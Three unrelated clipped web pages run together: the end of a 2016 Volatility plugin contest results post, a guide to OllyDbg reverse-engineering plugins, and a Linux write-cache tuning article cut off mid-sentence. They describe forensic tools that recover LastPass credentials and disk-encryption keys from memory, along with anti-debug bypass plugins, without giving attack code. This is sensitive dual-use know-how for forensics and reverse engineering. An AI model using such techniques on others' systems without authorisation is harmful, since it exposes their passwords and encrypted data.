Yara rules. In comparison with other web interfaces that we've seen in the
past, VolUtility stands out due to its extensions, which allow integration
with Cuckoo Sandbox, Exif, Floss, and VirusTotal. It also features a hex
viewer, PST and SQLite viewers, registry hive browser, volshell-like input
controls, etc. We found the documentation very thorough and
installation/configuration on Linux was a breeze.

  

Kevin's Twitter: @kevthehermit

Kevin's GitHub: https://github.com/kevthehermit

Kevin's Website: https://techanarchy.net

Kevin's YouTube Demo: https://www.youtube.com/watch?v=ruEj94Zhn6I

VolUtility Wiki: https://github.com/kevthehermit/VolUtility/wiki

  

**2nd : Kevin Breen: LastPass Credential Recovery**

  

LastPass is a highly popular and widely used password manager. Its ease of use
and direct integration into major browsers allows for even non-technical users
to maintain unique, strong passwords across a variety of websites and
services. Since many users trust all of their passwords to LastPass, cleartext
credentials from its database are highly valuable forensic targets. This newly
submitted plugin, named lastpass, allows for targeting of LastPass user
credentials that were stored in memory at the time of acquisition, allowing
for rapid exploitation by forensic analysts.

  

Kevin leveraged the process VAD scanner API in Volatility along with custom
Yara rules to locate signatures related to the cached LastPass credentials.
Currently the plugin focuses on IE, Chrome, and FireFox, however Kevin plans
to test additional browsers, extend support to additional password managers,
and implement unified output so the data can be consumed/post-processed by
other applications easily.

  

Kevin's Twitter: @kevthehermit

Kevin's GitHub: https://github.com/kevthehermit

Kevin's Website: https://techanarchy.net

  

**3rd : Dima Pshoul: Advanced Malware Hunter's Kit**

  

In Dima's own words, he is a "long time Volatility user who wanted to
contribute to the framework and also improve it by writing unique and powerful
plugins." Mission accomplished\! The "Advanced Malware Hunter's Kit" includes
plugins for reconstructing call stacks, detecting hollowed processes, finding
malicious threads via code executed from dynamically allocated addresses, and
locating injected code regions by analyzing return addresses on the stack.

  

Dima did a great job analyzing the current plugins in the Volatility Framework
\(namely malfind\) and the associated weaknesses that malware can exploit to
trick investigators. Conceptually, the techniques Dima introduced in his
plugins will be invaluable supplements for detection of malware hiding in
memory.

  

Dima's Writeup: Volatility Contest 2016 Submission.pdf

Dima's submission:
https://github.com/volatilityfoundation/community/tree/master/DimaPshoul

Dima's GitHub: https://github.com/papadp

  

**4th : Mariano Graziano: ROPEMU \(ROP Payload Analysis\)**

  

ROPMEMU is a framework for analyzing return-oriented programming \(ROP\)
payloads. It includes two Volatility plugins. The first plugin, ropemu,
emulates a ROP payload gadget-by-gadget and produces a JSON trace of the
affected machine state. The second plugin, unchain, transforms ROP gadget
sequences into simplified non-ROP code for easier analysis and understanding.
The plugins leverage the Unicorn emulator and the Capstone disassembler. In
addition to the Volatility plugins, several interesting "helper" utilities are
also included.

  

In addition to the Volatility plugins, Mariano also published an academic
paper on his work and has presented it at conferences, undoubtedly inspiring
countless other researches.

  

Mariano's AsiaCCS Paper: http://s3.eurecom.fr/docs/asiaccs16\_graziano.pdf

Mariano's AsiaCCS Slides: ROPMEMU\_final.pdf

Mariano's Twitter: @emd3l

Mariano's Blog Post at Cisco Talos:
http://blog.talosintel.com/2016/06/ropmemu.html

The Project's GitHub: https://github.com/vrtadmin/ROPMEMU

Mariano's GitHub: https://github.com/emdel

  

**4th : Mariano Graziano: Linux Kernel Symbol Finder**

  

Mariano's ksfinder is a standalone Python script to retrieve exported kernel
symbols from Linux physical memory dumps. The script is useful in a scenario
in which the analyst does not have a Linux profile and cannot create it \(for
example, the suspect system was reformatted after memory collection, you
simply no longer have access to it, you couldn't obtain the kernel headers,
etc\). In those cases, ksfinder recreates \(or partially recreates\) the
System.map file by parsing the \_\_ksymtab\_strings and \_\_ksymtab of the
Linux kernel image \(aka vmlinux\) solely from the memory sample.

  

Although the script is not technically a Volatility plugin, it can easily be
imported or integrated with Volatility plugins to alleviate one of the biggest
issues analysts face with regards to memory forensics of Linux systems.

  

Mariano's Twitter: @emd3l

Mariano's GitHub: https://github.com/emdel/ksfinder

  

**5th \(tie\) : Bart Inglot: RDP Key Extraction and Replay**

  

The rdpkeys plugin extracts RC4 and SSL keys from a memory image that can be
used for RDP replay. The keys are automatically converted into PEM format, but
can be also saved in the native format \(referred to as PVK\). Bart also
included instructions to decode an RDP session with WireShark using the SSL
key extracted by the plugin, and examples of when the extraction works and
when it can fail.

  

Bart's plugin makes excellent use of Volatility's APIs. For example, he
leveraged the Registry API to recover LSA Secrets, and on platforms that
require it - he used the Cached File APIs to recover the DPAPI Master Keys and
SSL Private Keys. We also found it very valuable to see examples of using the
Python DPAPI module to perform decryption based on resources found in memory -
this will undoubtedly serve as a template for various other plugins in the
future.

  

Bart's Writeup: BartInglot\_RdpKeys.pdf

Bart's submission: rdpkeys.py

Bart's Twitter: @BartInglot

Bart's GitHub: https://github.com/binglot

Bart's Blog: http://passionateaboutis.blogspot.com

  

**5th \(tie\) : Thomas White: FileVault2 & Bitlocker Key Recovery**

  

Thomas White's two FVE plugins are aimed at helping investigators recover the
necessary keying information for decrypting/unlocking disks. In particular,
the Bitlocker plugin targets recent versions of Microsoft Windows and recovers
the FVEK, cipher information, and TWEAK key. One of the most impressive
aspects of this plugin is the research and documentation that goes along with
it. Thomas recorded the steps he took when live debugging the Windows kernel
to identify differences in key storage locations starting with Windows 8. This
is an extremely valuable tutorial on how Volatility plugins come to life,
especially those that access undocumented structures and memory regions.

  

Likewise, the FileVault2 plugin targets Mac OSX and has even been tested on
Sierra \(10.12\). The write up below includes a short tutorial on mounting the
evidence with extracted master keys using fvdemount.

  

Thomas' GitHub: https://github.com/tribalchicken

Thomas' Post on FileVault: extracting-filevault-2-keys-with-volatility

Thomas' Post on Bitlocker: recovering-bitlocker-keys-on-windows-8-1-and-10

Thomas' Twitter: @triblchkn

  

* * *
The following submissions appear in the order they were received. As
previously mentioned, these developers deserve huge props. We look forward to
seeing future work by these authors\!

* * *
  

**Aim4r: VolDiff Memory Diffing and Malware Identification**

  

VolDiff is a python script that leverages Volatility to identify malware
artifacts in Windows 7 memory samples. It not only helps automate Volatility
plugin execution but it also provides numerous built-in checks for suspicious
artifacts typically associated with malware. Examples include child/parent
process relationships, process sessions, execution paths, interesting imported
APIs, suspicious strings, etc. Most of the checks are based on the output of
Volatility plugins such as pslist, psscan, dlllist, impscan, and malfind.
Analysts can easily extend the heuristics by editing regular expressions in
the configuration area of the tool.

  

VolDiff also provides the ability to highlight the differences between a
sample taken before and after malware execution. This can help an analyst
rapidly triage the types of changes the malware may have made to the system.
VolDiff helps automate common analysis techniques used by malware
investigators.

  

Aim4r's Twitter: @aim4r

Aim4r's GitHub: https://github.com/aim4r

Example analysis: Memory-Analysis-of-DarkComet-using-VolDiff  
  

**Marcin Ulikowski: Bitlocker Key Recovery**

  

This plugin finds and extracts Full Volume Encryption Key \(FVEK\) from memory
dumps and/or hibernation files. This allows rapid unlocking of systems that
had BitLocker encrypted volumes mounted at the time of acquisition.
Architecturally, the plugin scans for BitLocker cryptographic allocations
\(memory pools\) in virtual memory, covering both 32- and 64-bit systems
running Windows Vista through Windows 8.1 \(support for Windows 10 is in
progress\). Marcin notes that Windows 8 and newer use the Cryptography API:
Next Generation \(CNG\), so the pool tags are different than previous
versions. We found Marcin's AES key schedule validation routines particularly
useful \(to avoid false positives\) in addition to his documentation on how to
use bdemount to decrypt protected resources.

  

Marcin's Twitter: @elceef

Marcin's GitHub: https://github.com/elceef/bitlocker

Marcin's LinkedIn: https://pl.linkedin.com/in/elceef

  

**Hemant Kumar and Sajeev Nair: Windows MemDiff Forensic Tool \(WMDF\)**

  

This Windows GUI tool provides a front end to extracting memory related
artifacts with Volatility. Additionally, analysts can compare those collected
artifacts with a whitelisted artifacts database \(generated by running the
tool against a baseline system\) of their choice. This comparison points out
the changes made by malware on the system, helps provide analysts with crisp
and low level information, and decreases the area of investigation an analyst
needs to manually review.

  

WMDF Submission: https://goo.gl/XC177B

WMDF Documentation: WMDF.pdf

Hemant's Twitter: @hemantxcode

Hemant's LinkedIn: https://in.linkedin.com/in/hemant-kumar-28b99687

Sajeev's Twitter: @nairsaj

Sajeev's Blog: http://infosecnirvana.blogspot.com

  

**Nichlas Holm: Network Packets, IP/MAC, ARP**

  

This submission, networkpackets, is a Volatility plugin for extracting network
packets \(IPv4 and ARP\) out of memory samples. The plugin provides the
ability to quickly identify memory-resident network packets, and based on
those packets provides an analyst with context about the network environment.
This context includes information about the IP/MAC address of the system, the
network gateway, and an overview of other systems in the same network.
Extracted packets are exported into PCAP format, which enables analysis with
traditional network analysis tools.

  

Nichlas' GitHub: https://github.com/Memoryforensics

  

**Stanislas 'P1kachu' Lejay: Auto-Profile Detection**

  

P1kachu addresses a real problem \(OS and profile detection\) that Volatility
users frequently face with his profilescan plugin. This plugin uses a pattern-
matching approach to infer the operating system of a target memory image. It
then calls the corresponding OS-specific profile detection plugin. Since
Volatility does not provide such a plugin for Linux images, the authors also
developed a helpful a uname scanner plugin, linuxgetprofile, which also
outputs details on the kernel and compiler versions.

  

We're confident that P1kachu's plugin and associated methodologies can become
a critical piece in many investigators initial workflows, saving them valuable
time and avoiding a lot of the typical "guess work" that has traditionally
been done.

  

P1kachu's GitHub: https://github.com/P1kachu

P1kachu's Website: http://p1kachu.pluggi.fr

Post on ProfileScan: volatility-profile-finder  
  

**Martin Korman: VolatilityBot Malware Detonation Framework**

  

VolatilityBot provides a modular malware "detonation" architecture that helps
automate many of the manual and repetitive tasks associated with malware
analysis. This includes the extraction of malicious binaries and any
associated code injections or related artifacts \(strings, IP address, etc.\)
that may be created during execution. Once the suspicious code has been
extracted, it also provides numerous post-processing modules to help identify
behavior patterns in the code and prepare the extracted code for in-depth
static analysis. Finally, VolatilityBot also provides a number of capabilities
for automated heuristic analysis and triaging memory samples at scale.

  

Martin's Twitter: @MartinKorman

Martin's Website: http://blog.fightingmalware.com

Martin's VB 2015 Slides: Korman-VB2015.pdf

Martin's VB 2015 Paper: vb2015-paper-volatilitybot-malicious-code-extraction-
made-and-security-researchers/

Martin's YouTube Demo: https://www.youtube.com/watch?v=2nZub3YmJAo

Martin's Code Repository: https://github.com/mkorman90/VolatilityBot

  

**James Hall and Kevin Breen: USBStor**

  

The USBStor plugin scans registries for values relating to USB devices plugged
into the system under investigation. Instead of the analyst needing to
manually analyze each registry hive \(USBSTOR, USB, MountedDevices etc.\) the
plugin will return all available information about previously connected USB
devices in an easy to digest, collated format. This greatly decreases analysis
time and ensures no mistakes are made and no information is overlooked. The
plugin's output contains details such as USB serial number, vendor and product
info, container ID, mounted volume name, drive letter, USB friendly name, the
last connection timestamp, and more.

  

Project's Code:
https://github.com/kevthehermit/volatility\_plugins/tree/master/usbstor

James' Website: https://ducktoolkit.com

James' Twitter: @411hall

  

**Tyler Halfpop: FindEvil Malware Analysis Automation**

  

The FindEvil project, along with its two new Volatility plugins, findevilproc
and findevilmem, provide for automated extraction of executables
\(applications, DLLs, and kernel drivers\) from memory as well as calculation
of several attributes of interest to investigators – Virus Total scores,
entropy calculations, Yara-based detections, and whether the executable is
digitally signed or not. Leveraging these plugins, investigators can quickly
find the "evil" executables that are active on a system being investigated and
immediately focus their analysis on them.

  

Tyler's GitHub: https://github.com/tylerph3

Tyler's Twitter: @tylerph3

  

**Tran Vien Ha: Open Source Intelligence & MISP Integration**

  

The osint plugin submits URLs or IP addresses found in a memory sample to open
source intelligence platforms. Data is submitted using a SOCKS proxy,
generally Tor, to provide a degree of anonymity. osint currently supports Blue
Coat, Virus Total, and MISP. Your data sources and respective API tokens are
stored in a configuration file, and a text file allows you to whitelist
commonly seen domains.

  

The author also contributed an HTML plugin using JQuery for rendering tree
views \(such as pstree\), which is quite handy.

  

Tran's GitHub: https://github.com/tranvienha  

  

* * *
Here are a few additional resources regarding previous contests and community-
driven plugins:  

* * *
  
Volatility Foundation Contest Home Page:
http://www.volatilityfoundation.org/contest  
  
Volatility 2015 Plugin Contest Results:
http://www.volatilityfoundation.org/2015  
Volatility 2014 Plugin Contest Results:
http://www.volatilityfoundation.org/2014-cjpn  
Volatility 2013 Plugin Contest Results:
http://www.volatilityfoundation.org/2013-c19yz  
  
Volatility Community GitHub Repository:
https://github.com/volatilityfoundation/community

Posted by  Michael Hale Ligh at 12:27 PM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: contest, forensics, malware, volatility, volatility foundation

#### No comments:

#### Post a Comment

  

Comment as:

Sign out

Notify me

  

  *[12:27 PM]: 2016-12-05T12:27:00-05:00

# Quick Guide To Some Important Ollydbg Plugins « The Legend Of Random

**Created:**| _5/29/2012 7:54:13 AM_  
---|---  
**Updated:**| _5/29/2012 7:54:13 AM_  
**Author:**| __  
**Tags:**| _Debugging plugin olly_  
  

## Quick Guide To Some Important Ollydbg Plugins

by Random on May.26, 2012, under Reverse Engineering, Tools

I have compiled a list of what I consider to be the most important Olly
plugins for reverse engineering. Every one of these will be used at some point
in my tutorials. Of course, this list is nowhere near exhaustive \(for that I
would go to Tuts4You\), and I’m sure there are plenty that I am missing that
some would consider ‘vital’. Mostly, I have listed these here for convenience
for people going through my tutorials. I have included the name, the latest
version that I could find, the author, and a quick outline of what they do.
All of these can be downloaded from my tools page.

## +BP-OLLY

Ver. 2.0 beta 4  
By: Redh@wK

This plugin open up a new ‘floating’ toolbar at the top of Olly. It provides
quick access to setting BP’s on popular API’s \(with some for VB as well\),
Also provides a couple buttons for quickly launching some applications
\(Notepad, Calc, A user specified folder, and a command prompt\)

## Anti-Anti Hardware Breakpoint

Ver: 0.1  
By: Mattwood^FRET

Single minded, but does what it’s supposed to. It hooks ntdll to restore the
Drx registers after a Structured Exception Handler.

## AnalyzeThis+

ver: 0.24  
By: SMK

I think the author says it best:  
_“Sometimes \(especially when dealing with packers\) you may need to run
OllyDbg’s code analysis function, only to find it’s not available to you
because the EIP is currently outside the code segment as defined by the PE
header. AnalyzeThis\! is an OllyDbg plugin to allow OllyDbg’s analysis
function to operate outside of the marked code segment, by telling OllyDbg the
current segment \*is\* the code segment. “_

This is another ‘can’t do without’ plugin. It is indispensable, especially
when working with packers.

## API Break

Ver: 0.2  
By: Dazzling Blue & Baby2008

This plugin allows you to set a breakpoint on many popular Windows API’s. It
opens a dialog listing many API’s by category. It is nicer than trying to
remember what the API call is to get the current time \(in millis\)…

<img src='img/Temp2_6587.png' width='300' height='209' alt='API Break' />

## ASCII Table

Ver: 1.1  
By: REACTION

AsciiTable quickly displays the ASCII chart in hex, decimal, octal and ascii.
I hope the author get’s around to fixing some of the bugs, tho \(when you
first load it, everything is highlighted, the window is not sizable, the text
is editable…\). But overall, extremely helpful.

<img src='img/Temp2_6590.png' width='300' height='239' />

## Attach Anyway

Ver: 0.1  
By: Jow Stewart

From the author:

_“AttachAnyway is a PoC OllyDbg plugin designed to show how to remove a
process’ hook on NtContinue by the anti-debugger-attach method devised by
Piotr Bania here. \[http://pb.specialised.info/all/anti-dattach.asm/_

_This is not intended to be a universal plugin for all anti-attach methods,
just one example of how you can do it. It works by enumerating all processes,
searching their virtual memory space for a JMP hook on the NtContinue method,
then replacing the jump with the original bytes from a non-hooked process,
then calling the OllyDbg Attachtoactiveprocess API.”_

## Bookmark

Ver: 1.06  
By: Oleh Yuschuk & Eviloid

This handy plugin allows the user to set bookmarks \(no more using BP’s to
remember where that code was\!\!\!\). Simply right-click on an instruction and
choose bookmark->New bookmark. Simple, but sweet.

## Code Ripper

Ver: 1.3  
By: Ziggy

This nice plugin allows you to copy code from the binary in a nicely formatted
way. Very convenient if you need to copy sections of code to look at later or
show someone else.

## CommandBar

Ver: 3.20.110  
By: Gigapede

Allows quickly applying breakpoints, finding API’s etc. Sometimes typing is a
lot quicker than searching thru windows <img src='img/Temp2_6584.png' alt=':)'
/>

## HideDebugger

Ver: 1.2.4  
By : Asterix

This plugin hides OllyDbg from many debugger detection tricks. These include
IsDebuggerPresent, FindWindow, TerminateProcess, Unhandled Exception tricks,
OutputDebugString, and some heap-checking tricks.

<img src='img/Temp2_6588.png' width='263' height='298' />

## HideOD

Ver : 0.181  
By: Kanxue

HideOD allows Olly to be hidden from the debugged application. It allows
setting the following:

**1\. HideNtDebugBit \(IsDebuggerPrestn, NtGlobalFlags, HeapFlags,
ForceFlags\)**  
**2\. ClearHeadpmagic**  
**3\. SetDebugPrivilege**  
**4\. Process32Next**  
**5\. OutDebugStringA**  
**6\. CheckRemoteDebuggerPresent**  
**7\. ZwSetInformationThread**  
**8\. UnhandledExceptionFilter**  
**9\. ZwQueryInformationProcess**

It also has an autoset feature and a memory allocator \(I think for code
caves, tho I could be wrong <img src='img/Temp2_6584.png' alt=':)' /> \) Most
of these features are included in Olly Advanced \(see below\).

<img src='img/Temp2_6582.png' width='300' height='212' />

## IDAFicator

Ver: 2.0.11.45  
By: Zool@nder  

IDAFicator is an immense collection of utilities for Olly. It add a new
toolbar at the top of the screen with various cool features, such as go to
next/previous line I was on, Go to beginning/end of current method \(nice\!\),
a displayable hardware breakpoint window \(finally\!\), a button to
immediately search for referenced text strings, a button to open the folder of
the target app, and an assembler window similar to NanoWrite.

<img src='img/Temp2_6589.png' width='218' height='23' />The 1-5 icons are user
settable \(though I didn’t find this to be the case in all versions of this
plugin <img src='img/Temp2_6583.png' alt=':(' /> \)

Next, IDAFicator has added several options for the mouse middle button, such
as copying and pasting binary data, RVA’s etc. It allows setting of
breakpoints in the dump window, and a handy stolen bytes retriever \(that even
changes the bytes to match a specific compiler\).

Last but not least, this plugin creates two new menu items in the Olly menu
bar. The first is called “Tools”. This allows you to add any external programs
\(and folders <img src='img/Temp2_6584.png' alt=':)' /> \) you use regularly
and open them with a simple mouse click. It’s even drag-and-drop. The second
menu option added is a “BreakPoint” item, allowing very easy setting of
breakpoints on popular API functions:

<img src='img/Temp2_6585.png' width='194' height='270' />

## IsDebugPresent

Ver: 1.4  
By: SV

This Plugin is intended to hide debugger from IsDebuggerPresent Windows API.
This functionality is in a lot of plugins, so it will probably be overridden
if you install many others. Most of these features are included in Olly
Advanced \(see below\).

## NanoWrite

Ver: 1.2  
By: Nonameo

NanoWrite is a plugin for OllyDbg that helps you write code injection. It
allows multiple lines of code to be written at once, and then injected into
the binary. Very handy for patching more than one line of code \(or for code
caves\).

<img src='img/Temp2_6586.png' width='300' height='284' />

## MapConv

Ver: 1.0  
By: godfather+

MapConv converts map files from IDA or DeDe to OllyDBG when debugging Delphi
files. Really useful if you have a nasty app written in Delphi.

## Mnemonic Helper

Ver: 1.1  
By: 3070

A nice little plugin that displays information about the currently selected
opcode mnemonic. very handy when you reach an obscure x86 line of code.

## Olly Advanced

Ver: 1.27  
By:MaRKuS TH-DJM

This plugin is a general purpose plugin for OllyDbg that fixes some annoying
things of Olly / bugs of Olly v1.10 and also integrate new things. It includes
a bunch of Anti-Anti-Debug. It is sort of the Swiss army knife of plugins. If
you could only have one plugin, this would be the one\!

**Bug fixes include:**  
1\. Expand plugin limit to 127 plugins  
2\. Kill %s%s bug  
3\. Kill NumOfRva Bug  
4\. Kill little Analysis-Crash bug  
5\. Ignore faulty image \(WinUPack\)  
6\. Follow in Disasm for packed images  
7\. Handle Exceptions in OD Pausedex  
8\. Always enable “Copy all”  
9\. Fix “View file” & “Copy to exe” Dialog  
10\. Show all jumps and calls – Allow action in Olly while using  
11\. Ignore faked export table  
12\. Handle Base of Code, Size of Code and Base of Data  
13\. Ignore and skip C0000008h \(Inv Handle\)  
14\. Ignore faulty handle when terminating proc

**Additional Options:**  
1\. Enable Advanced CTRL+G \(allows address to be entered as VA/RVA/offset –
very nice.  
2\. Skip “Entry point outside code” – that was sooooo annoying…  
3\. Skip “More than 1000 patches”  
4\. Skip compressed code warning  
5\. Skip “Load dll”  
6\. Ignore changed memory @BP  
7\. If CRC was altered  
8\. Flexible Breakpoints \(instead of using 0xCC BPs\)  
9\. Use Toolhelp32 instead of psapi.dll  
10\. Skip “ReadMemory failed”  
11\. Skip “WriteMemory failed”  
12\. Maximize Olly when starting  
13\. Maximize all Olly Child-Windows  
14\. Always enable “Show all jumps and calls”

**Anti-Anti Features:**  
1\. Kill anti-attach  
2\. UnhandledExceptionFilter  
3\. Process32Next  
4\. Module32Next  
5\. CheckRemoteDebugPresent  
6\. ZWSetInformationThread  
7\. ZwQueryInformationProcess  
8\. ZwQuerySystemInformation \( this has a tendency to make some apps load
improperly\)  
9\. ZwQueryObject  
10\. GetTickCount \(increases GetTickCount every call by 1\)  
11\. TerminateProcess  
12\. Scrambled Export Table  
13\. IsDebuggerPresent  
14\. NtGlobalFlag  
15\. HeapFlags  
16\. ForceFlags  
17\. SuspendThread \(used by y0da\)  
18\. BlockInput \(used by y0da\)  
19\. Break on TLS Callback \(I noticed that this causes some apps to crash
olly\)

Many of these have a S-option box. This stands for System Breakpoint – if this
option is activated, the anti-debug will be applied when you are @System
Breakpoint. this is good if your program uses an Anti-Debug dll which is
loaded on Startup. Then you are protected against this also.

Lastly, here are a couple **additional features** \(in the context menu\):  
1\. Allocate Memory : Select “Allocate Memory” and a block of 1000h bytes will
be allocated .  
2\. Insert Module : Allows you to insert any DLL / OCX in the target-process  
3\. Detach Process : It let’s you detach from debugged process.  
4\. Process Patcher : Allows you to apply patches to child threads.  
5\. Dump Module : similar to Olly’s own.  
6\. Dump Memory-Area

## Olly Breakpoint Manager

Ver: 0.1  
By: Pedram Amini

I think the author says it best:  
_“The Olly Breakpoint \(BP\) Manager was written to provide three main
functions – breakpoint exporting, breakpoint importing and automatic
breakpoint loading. Breakpoint importing/exporting are straight forward
features and can be accessed from the main plug-in menu as well as the right-
click context menu of the breakpoints window. Olly BP Manager was designed to
support both regular and log \(with expression/explanation\) breakpoints.
Conditional breakpoints have not yet been implemented._

_The breakpoint manager also supports automatic loading of breakpoint lists at
runtime. Whenever a module is loaded by the target process, BP Manager will
check the ‘breakpoints’ subdirectory under the OllyDBG install directory. If a
breakpoint list matching the loaded module name is identified, breakpoints
will be loaded and inserted into the module._

_For example, to automatically load a breakpoint list for kernel32.dll copy
your breakpoint list to:_

_C:\Program Files\OllyDBG\Breakpoints\kernel32.dll.obp_

_The module name is case insensitive. This feature is especially useful when
working with breakpoints in modules not loaded at startup.”_

After you’ve had a full window of breakpoints disappear when re-loading an
app, you’ll understand the importance of the plugin\!

## Olly Toolbar Manager

Ver: Gold  
By: arjuns

For those who do not have a custom version of Olly with all of the shiny
toolbar buttons, this plugin allows you to create your own toolbar, providing
quick-click access to your favorite external programs. Really nice if you
don’t want to spend the time single-stepping through Olly code trying to find
out how to add a button <img src='img/Temp2_6584.png' alt=':)' />

## OllyDump

Ver: 3.00.110  
By: Gigapede

OllyDump is a staple for reverse engineers. I don’t consider Olly complete
unless you have this plugin. It allows you to dump the debugged process after
you have modified it. It also has two more advanced features \(Find OEP by
section hop: Trace and Trace Into\). I use both of these options as well.
Gotta have it\!

## OllyPad

Ver: 1.1  
By: SHaG / The Kluger

OllyPad lets you create notes for the currently debugged application and
stores them for later use. Next time you open the application in OllyDbg your
notes along with OllyPad window size and placement will be restored.  
Press ALT-F11 to show the plugin window and ALT to hide it \(this
functionality is coded by The Kluger\).

Because sometimes you can’t find a pencil <img src='img/Temp2_6584.png'
alt=':)' />

## OllybonE

Ver: 0.1  
By: Joe Stewart

Break-on-Execute for OllyDbg. Specifically, it sets break-on-execute on
virtual memory sections.

## OllyDBG Script

Ver: 0.92  
By: SHaG

This plugin allows Olly to run of the thousands of scripts written for Olly.
Mostly, they are used for unpacking or decrypting, but there also scripts out
there that do a great deal more. This is an invaluable plugin.

## StrongOD

Ver: 0.4.6.816  
By: 海风月影

This plugin was written by a natvie Chinese speaker, so it’s a little tough to
figure out what some of it does. Maybe if someone comment or sends me a note
if they know, I will fill them in. Anyway, this plugin is similar to Olly
Advanced in it’s shear number of options. That aside \(if I may so easily do
that\), the keyboard shortcuts added by this plugin are astounding. It is a
virtual smorgasbord of keypresses, some of which you’ll wonder how you ever
did without. Here is just a sampling:  
1\. Press “INSERT” will fill the selected data with ZERO\(0×0\)  
2\. Press “DELETE” will fill the selected data with NOP\(0×90\)  
3\. Press “SHIFT + ENTER” will sync dump and assembly  
4\. Press “CTRL” and double click or “CTRL + ENTER” will sync the DUMP window
with the selected address  
5\. Press “ESC” in stack window will sync the STACK window with ESP  
6\. Press “SHIFT + ENTER” will follow the DWORD value of the selected address
in the DUMP window  
7\. Press “CTRL + 1 ~ 8″ will sync the DUMP window with
\(EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI\)

and lots more…

Besides keyboard shortcuts, StrongOD has a collection of ant-anti tricks:  
1\. HidePEB  
2\. \!\*PatchFloat \(whatever that is?\)  
3\. Advanced Ctrl-G \(\*\*\*See below\)  
4\. KernalMode \(?\)  
5\. ShowBar \(this shows a cool bar at the bottom ???\)  
6\. Break on TLS  
7\. Load Symbols \(?\)  
8\. KillBadPEBug \(I don’t know which bad PE bug tho\)  
9\. AdvEnumModule \(?\)  
10\. Anti-Anti Attach  
11\. Skip some Exceptions \(which ones?\)  
12\. Remove EP One-shot  
13\. Break on Ldr  
14\. AutoUpdate \(tho I don’t know what I’m updating automatically\!\)

There is also a “CreateProcess Option” field that allows you to select between
“Normal”, “CreateAsUser”, and “CreateAsStrict”, tho I don’t know what this
means. There’s also a “SuperMode” that’s greyed out. Sounds intriguing.

Other options include a memory allocator, a ‘Detach’ option, a Check Update
option \(?\), a “PatchOD” option which seems to make Olly stop and restart
itself in a really scary way, a CheckVMP option \( for VMProtect\) and an
“Inject DLL” option which sounds really fun, though I haven’t played with it
yet.

One important note about this plugin: if you have any other ctrl-G overriders
\(like OllyAdvanced\) you must disable them in those plugins or StrongOD will
crash. Since StrongOD’s goto box is similar to OllyAdvanced, it’s not a big
deal. \(there are also workarounds to this…\)

## Ultra String Reference

Ver: 0.12  
By: Luo

This is a supped-up version of the built in “search for String References:. It
searches for both ASCII and UNICODE, searches the entire memory space, and
finds strings the built-in search function won’t. After using this, you will
wonder how you ever used Olly’s built in string searcher.

# Better Linux Disk Caching & Performance with vm.dirty\_ratio — The Lone
Sysadmin

**Created:**| _3/31/2014 9:10:58 PM_  
---|---  
**Updated:**| _3/31/2014 9:10:58 PM_  
**Author:**| __  
**Tags:**| _Linux performance io cache_  
  

# Better Linux Disk Caching & Performance with vm.dirty\_ratio &
vm.dirty\_background\_ratio

by Bob Plankers on December 22, 2013

in Best Practices,Cloud,System Administration,Virtualization

_This is post \#16 in my December 2013 series about Linux Virtual Machine
Performance Tuning. For more, please see the tag “Linux VM Performance
Tuning.”  
_

In previous posts on vm.swappiness and using RAM disks we talked about how the
memory on a Linux guest is used for the OS itself \(the kernel, buffers,
etc.\), applications, and also for file cache. File caching is an important
performance improvement, and read caching is a clear win in most cases,
balanced against applications using the RAM directly. Write caching is
trickier. The Linux kernel stages disk writes into cache, and over time
asynchronously flushes them to disk. This has a nice effect of speeding disk
I/O but it is risky. When data isn’t written to disk there is an increased
chance of losing it.

There is also the chance that a lot of I/O will overwhelm the cache, too. Ever
written a lot of data to disk all at once, and seen large pauses on the system
while it tries to deal with all that data? Those pauses are a result of the
cache deciding that there’s too much data to be written asynchronously \(as a
non-blocking background operation, letting the application process continue\),
and switches to writing synchronously \(blocking and making the process wait
until the I/O is committed to disk\). Of course, a filesystem also has to
preserve write order, so when it starts writing synchronously it first has to
destage the cache. Hence the long pause.

The nice thing is that these are controllable options, and based on your
workloads & data you can decide how you want to set them up. Let’s take a
look:

[code]

    $ sysctl -a | grep dirty
     vm.dirty_background_ratio = 10
     vm.dirty_background_bytes = 0
     vm.dirty_ratio = 20
     vm.dirty_bytes = 0
     vm.dirty_writeback_centisecs = 500
     vm.dirty_expire_centisecs = 3000
[/code]

**vm.dirty\_background\_ratio** is the percentage of system memory that can be
filled with “dirty” pages — memory pages that still need to be written to disk
— before the pdflush/flush/kdmflush background processes kick in to write it
to disk. My example is 10%, so if my virtual server has 32 GB of memory that’s
3.2 GB of data that can be sitting in RAM before something is done.

**vm.dirty\_ratio** is the absolute maximum amount of system memory that can
be filled with dirty pages before everything must get committed to disk. When
the system gets to this point all new I/O blocks until dirty pages have been
written to disk. This is often the source of long I/O pauses, but is a
safeguard against too much data being cached unsafely in memory.

**vm.dirty\_background\_bytes** and **vm.dirty\_bytes** are another way to
specify these parameters. If you set the \_bytes version the \_ratio version
will become 0, and vice-versa.

**vm.dirty\_expire\_centisecs** is how long something can be in cache before
it needs to be written. In this case it’s 30 seconds. When the
pdflush/flush/kdmflush processes kick in they will check to see how old a
dirty page is, and if it’s older than this value it’ll be written
asynchronously to disk. Since holding a dirty page in memory is unsafe this is
also a safeguard against data loss.

**vm.dirty\_writeback\_centisecs** is how often the pdflush/flush/kdmflush
processes wake up and check to see if work needs to be done.

You can also see statistics on the page cache in /proc/vmstat:

[code]

    $ cat /proc/vmstat | egrep "dirty|writeback"
     nr_dirty 878
     nr_writeback 0
     nr_writeback_temp 0
[/code]

In my case I have 878 dirty pages waiting to be written to disk.

## Approach 1: Decreasing the Cache

As with most things in the computer world, how you adjust these depends on
what you’re trying to do. In many cases we have fast disk subsystems with
their own big, battery-backed NVRAM caches, so keeping things in the OS page
cache is risky. Let’s try to send I/O to the array in a more timely fashion
and reduce the chance our local OS will, to borrow a phrase from the service
industry, be “in the weeds.” To do this we lower vm.dirty\_background\_ratio
and vm.dirty\_ratio by adding new numbers to /etc/sysctl.conf and reloading
with “sysctl –p”:

[code]

    vm.dirty_background_ratio = 5
    vm.dirty_ratio = 10
[/code]

This is a typical approach on virtual machines, as well as Linux-based
hypervisors. I wouldn’t suggest setting these parameters to zero, as some
background I/O is nice to decouple application performance from short periods
of higher latency on your disk array & SAN \(“spikes”\).

## Approach 2: Increasing the Cache

There are scenarios where raising the cache dramatically has positive effects
on performance. These situations are where the data contained on a Linux guest
isn’t critical and can be lost, and usually where an application is writing to
the same files repeatedly or in repeatable bursts. In theory, by allowing more
dirty pages to exist in memory you’ll rewrite the same blocks over and over in
